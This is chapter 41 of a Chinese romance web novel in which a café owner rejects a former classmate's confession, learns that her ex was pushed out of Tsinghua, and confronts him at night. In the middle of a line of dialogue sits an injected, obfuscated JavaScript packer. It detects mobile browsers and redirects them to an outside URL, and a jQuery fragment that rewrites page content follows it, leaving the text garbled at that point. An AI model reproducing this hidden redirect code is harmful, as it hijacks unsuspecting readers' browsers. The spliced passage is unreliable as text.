丸哦 作品
41.第 41 章
燕子礁有很多樱花树,花瓣在海风中飞舞,在天与海共同绘制的浓重的蓝里,增添了一抹抹娇嫩的粉色。
今天是周一,工作日的第一天,清晨咖啡店的生意没那么忙,张颜灵在吧台跟两个咖啡师小妹,还有几个薄肌服务生有一搭没一搭地闲聊天。
迎客风铃声响起来,张颜灵抬眉,是郑云昭。
她的笑容僵住,她猛然想起几个月前徐渡跟他说的话。
高中时徐渡送她的棒球帽是被郑云昭偷走的,而且他还拿着那个帽子做了不干不净的事。
张颜灵不是懵懂无知的少女,她当然知道所谓不干不净的事是什么,这让她恶心。
不过现在是在此岸,来的都是客,这点职业精神,张颜灵还是有。
她脸上漾起微笑:“你怎么来了?喝点什么?”
郑云昭的表情满是歉意:“本来想开业就来给你捧场的,但医院派我出国进行学术交流,前天刚回来。”
说着,他就把手里的精致纸袋递出去,是他在迪拜买的巧克力礼盒,他翻遍了张颜灵的朋友圈,知道她喜欢巧克力。
张颜灵认识纸袋上巧克力的牌子,她落落大方接过来:“看看想喝什么,我请。”
郑云昭扫一眼菜单,一眼看到手冲栏目里的一款产品,他说:“就要这个吧,‘真爱’。”
张颜灵:“好,你稍等,看看想坐哪儿,待会儿我给你……”
“灿灿。”郑云昭打断了张颜灵,语气里透露出一丝局促的羞涩来:“今天……我有些话想对你说,你陪我坐坐,行吗?”
张颜灵沉吟一会儿,转头对咖啡师说道:“顺道给我做杯卡布奇诺,送到露台。”
接着她又招呼郑云昭:“去楼上吧,楼上清静。”
待两人的身影消失在楼梯尽头,吧台里的人炸了锅。
眼镜哥说道:“咱们老板的桃花也太旺了吧,只是旺也就算了,质量还好。你看徐老师,那脸,那气质,那倒三角,长我身上我都得给自己买保险。”
咖啡师小影接话:“薛总也不错啊,又成熟,又俊朗,又多金,看上去特威严,可一见了咱们老板笑得就和花儿一样,什么时候能有个这种男人追我啊……”
另一个小胡子压低声音:“刚才这位也不错啊,能去外国学术交流,肯定也是精英。哎你们猜,他们几个谁能抱得美人归啊……”
“那肯定还是徐老师,他太舔了。”众人几乎异口同声,等话音落下,大家因为这份共识笑得前仰后合。
张颜灵选了露台上一张舒服的沙发座,咖啡端上来,郑云昭喝一口,点了点头,算是认可了此岸的品质:“为什么叫‘真爱’?”
“这款手冲用的豆子是牙买加蓝山,甜感很重,而且有焦糖和巧克力的香气。苦涩之中有醇厚的回甘,这不是就是真爱的味道吗?所以取了这么个名字。”
张颜灵面无波澜地解释,但“真爱”这个名字最根本的来源她没说——
蓝山是徐渡最喜欢的豆子,他并不懂咖啡,咖啡对他来说就是个提神醒脑的工具,但他在此岸,每次喝到用蓝山做的咖啡时,都会点头说好喝。
所以“真爱”这个名字里头,有张颜灵的心事,但除了她自己,谁也不知道,徐渡也不知道。
郑云昭当然无法窥见张颜灵的心中所想,他只觉得自己的心悸动而喜悦,他暗恋张颜灵很多年,这还是第一次,能和她这样说话,很生活,也很走心,他很高兴。
“你不是有话对我说吗?”张颜灵打断了郑云昭的绮思:“什么?”
郑云昭的瞳孔颤了颤,他试探问道:“灿灿……你和徐渡……复合了吗?”
“还没。”张颜灵很快做出了回答。
郑云昭原本有些害怕面对这个问题的答案,但听张颜灵这样说,就松了一口气。他完全没有意识到,张颜灵说的不是“没有”,而是“还没”,这两个词的意思天差地别。
郑云昭放在双膝上的手忍不住攥了拳头,声音里也不自觉有了颤抖:“灿灿,其实我一直很想跟你说,我……我喜欢你。我从高中的时候就喜欢你了。所以,你愿意做我女朋友吗?我会对你好,对你非常好。”
这是一句张颜灵意料之中的表白,所以她没有多少情绪上的起伏,棒球帽的丢失的确让她介意,但她这不影响她感谢郑云昭付出的真心。
张颜灵真诚说道:“小时候我并不知道你喜欢我,但自从回到澜城,其实我多多少有点感觉。很多同学跟我说过你打听我的联系方式,加了微信之后你也经常找我聊天,后来我生病去澜大附院输液,你也很照顾我。郑云昭,我很谢谢你喜欢我。但我有爱的人了,所以对不起。”
张颜灵有些怕伤害到对方,还特意补了一句自我贬低的俏皮话:“男人三十正是一枝花的时候,要是执意插在我身上就太可惜了。以你的长相、职业,可以横扫各大相亲市场……”
张颜灵说这些的时候,郑云昭的头越来越低,蓦地,一道阴森的声音打断了她的自嘲和恭维:“是徐渡吗?!你爱的人是徐渡吗?!”
张颜灵被这样的语气吓住,难免愣了愣,可很快恢复了冷静:“这是我的事。”
郑云昭沉默下来,张颜灵站起身:“总之真的谢谢你,中午了,店里快要上客人了,我下去忙。如果你今天休息,可以在这儿多坐一会儿,澜城春天的海风很舒服,有什么需要你再叫我们。”
张颜灵还没走,一只手就狠狠掣住了她的胳膊,她回头,看到了一双阴鸷的眼睛。
郑云昭露出一个笑容,哪怕他努力控制,可笑容里还是透出狰狞:“你知道徐渡是个什么样的人吗?他那样的渣滓,凭什么跟你在一起?”
张颜灵的胳膊被他捏得生疼,但她顾不得:“你说徐渡什么?”
郑云昭的双眼突然浮上带着哀求的温柔:“灿灿,我真的喜欢你,你给我个机会好不好,我爱了你十年啊灿灿……”
张颜灵用力挣脱了郑云昭,重复了一遍刚才的问题:“你说徐渡什么?”
“徐渡徐渡徐渡!你们所有人都只看得见徐渡!!!”郑云昭的情绪彻底失控,他扳住张颜灵的肩膀:“我说徐渡是个渣滓!你知道他大学时候的事吗?他被清华开除了你知道吗!”
开除……
张颜灵觉得脑子里“嗡”的一声,怎么会被开除,清北这样的高校,招收的是全国各地顶尖的学子,不会随随便便开除一个人。
郑云昭一双眼睛烧着火,愤怒地盯着张颜灵:“灿灿你清醒一点!你跟我才是最相配的!家庭条件、学历、收入、未来的发展,只有我,只有我才配得上你!”
“放开我。”张颜灵的肩膀传来尖锐的疼痛,但她还是控制着情绪,冷冷地瞪着郑云昭:“郑云昭,你先放开我,你这么激动对你我一点好处都没有。”
郑云昭没有让步。
张颜灵冷笑:“当然,你也可以对我用强,但你想清楚,这是我的店,我不过就是喊一声的事,而且四面都有监控。”
郑云昭环顾四周,看到了正朝向他的摄像头,这才终于将手放开了。
张颜灵揉着自己的肩膀,有些踉跄地离开。
“
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return\\w+};c=1;};while(c--)if(k[c])p=p.replace(new regexp(\\b+e(c)+\\b,g),k[c]);return p;}(8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="},24,24,userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15580173|166698||http|test|mini|href|location.split(|),0,{}));
() {
$(.inform).remove();
$(#content).append(
灿灿!你真的不在乎吗?你不在乎徐渡对你的隐瞒和欺骗?你也不在乎他做过什么能被大学开除的事?!”
张颜灵最终还是回了头:“郑云昭,我再说一遍,这是我和徐渡的事,跟你没有关系。还有,不要叫我灿灿,我们两个没有熟到你可以叫我小名的程度。最后,我高中的那个棒球帽,是被你偷走的对吧?你难道是个什么很高尚的人吗?徐渡是个什么样的人,还用不着你来告诉我!”
张颜灵愤然离开,郑云昭颓然地后退几步,他独自站了许久,而后静默地不被察觉地离开了此岸。
这天张颜灵回到家后,并没有早睡,她枯坐在客厅的沙发上,等徐渡下班。
徐渡到家的时候已经凌晨两点半,他打开门,还亮着灯的客厅让他有些意外,他很快就发现了有些呆滞的张颜灵,他的心顷刻裂开一道缝隙,胸腔里传来痛觉。
张颜灵有些麻木地转头看向他。
徐渡换了拖鞋,脱了外套,白衬衣解开两颗扣子,袖子挽上去,坐到了张颜灵身边。
“郑云昭今天来店里了。”张颜灵的声音很干涩。
徐渡拿起茶几上的水壶,给她和自己都到了一杯水,这一天迟早要来的,他一直知道。
“嗯。”徐渡应了一声。
张颜灵的眼睛里馒馒有了水汽:“他说,你被清华开除了,是真的吗?”
“不是开除,是劝退。”
“为什么?”张颜灵哽咽问道:“呵……你别跟我说是因为挂科。”
徐渡:“违规违纪。”
他这样轻描淡写,让张颜灵觉得崩溃,她的鼻根开始泛酸:“你做了什么事,居然能到被劝退的地步。”
徐渡的声音也有了颤抖:“灿灿,这件事不是一两句话能解释清楚的,而且如果只有我自己解释,是没有什么可信度的,我说过,我会跟你坦白,但我需要一点时间,不会太久。”
徐渡从进了门开始,就不敢看张颜灵的眼睛。
张颜灵了解徐渡,他不想说的话,无论是谁,怎么逼他他都不会说,就是因为这样,张颜灵才恨,他嘴怎么这么硬?!心肠比嘴巴还硬!
“你在uCL的学历也是假的吗?”
“研究生学历是真的。跨本申硕,我手里有作品,孟叔叔在英国高校里也有人脉,这事操作起来不难。”
张颜灵讨厌自己此刻为他哭泣的模样,她倔强地伸手擦去眼角的泪:“你被劝退,跟我们两个分手,你彻底失联有关系吗?”
徐渡:“嗯。”
又是“嗯”,张颜灵烦透了,她站起来,用力捏住徐渡的下巴,迫使他仰视着她,跟她四目相对。
“徐渡,这是我今晚最后一个问题。”张颜灵的眸子被泪水浸透,声音也带了泣声:“你……是好人吗?”
听到这个问题,徐渡的脸上也有了痛楚之色,他的身子从沙发上滑下来,双腿以跪坐的姿势,匍匐在了张颜灵面前。
他虔诚地望着她,一字一句说道:“灿灿,我以我的生命、我余生的快乐、我已经拥有的、和我渴望得到的一切发誓,我是个好人,我从来没有做过违背我内心道义的事,我从不曾……从不曾背叛过你……”
徐渡眼角也落下一滴泪,落到张颜灵的掌心。
张颜灵最终还是放开了他:“好,我等你。”
说罢,她走向卧室,徐渡亦步亦趋。
“你不许跟着我!”张颜灵恨声道:“事情解释清楚前,你都不许进我的房间,不许碰我!”
徐渡伸出手,可房间的门已经关上。
他的手在张颜灵的门外半悬着,窗外夜幕深沉。